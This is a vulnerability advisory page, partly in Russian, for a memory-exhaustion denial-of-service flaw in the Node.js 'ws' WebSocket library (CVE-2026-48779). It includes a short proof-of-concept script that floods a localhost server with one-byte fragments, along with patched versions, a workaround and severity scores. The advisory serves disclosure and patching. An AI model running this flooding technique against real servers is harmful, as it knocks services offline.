GHSA-96hv-2xvq-fx4p

Опубликовано: 15 июн. 2026

Источник: github

Github: Прошло ревью

CVSS3: 7.5

Описание

ws: Memory exhaustion DoS from tiny fragments and data chunks

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws'; const wss = new WebSocketServer({ port: 0 }, function () { const data = Buffer.alloc(1); const options = { fin: false }; const { port } = wss.address(); const ws = new WebSocket(`ws://localhost:${port}`); ws.on('open', function () { (function send() { ws.send(data, options, function (err) { if (err) return; send(); }); })(); }); ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`client close - code: ${code} reason: ${reason.toString()}`); }); }); wss.on('connection', function (ws) { ws.on('error', console.error); ws.on('close', function (code, reason) { console.log(`server close - code: ${code} reason: ${reason.toString()}`); }); });

Patches

The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

Ссылки

Пакеты

Наименование

npm

Затронутые версииВерсия исправления

>= 1.1.0, < 5.2.5

5.2.5

Наименование

npm

Затронутые версииВерсия исправления

>= 6.0.0, < 6.2.4

6.2.4

Наименование

npm

Затронутые версииВерсия исправления

>= 7.0.0, < 7.5.11

7.5.11

Наименование

npm

Затронутые версииВерсия исправления

>= 8.0.0, < 8.21.0

8.21.0

EPSS

Процентиль: 52%

0.00782

Низкий

7.5 High

CVSS3

CVE ID

CVE-2026-48779

Дефекты

CWE-1050

CWE-400

CWE-770

Связанные уязвимости

CVE-2026-48779

CVSS3: 7.5

ubuntu

около 2 месяцев назад

ws is an open source WebSocket client and server for Node.js. All versions from 1.1.0 up to (but not including) 5.2.5, from 6.0.0 up to 6.2.4, from 7.0.0 up to 7.5.11, and from 8.0.0 up to 8.21.0 are affected by a memory exhaustion DoS vulnerability. A peer can send a high volume of exceptionally small fragments and data chunks, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM. This issue has been fixed in versions 5.2.5, 6.2.4, 7.5.11, and 8.21.0.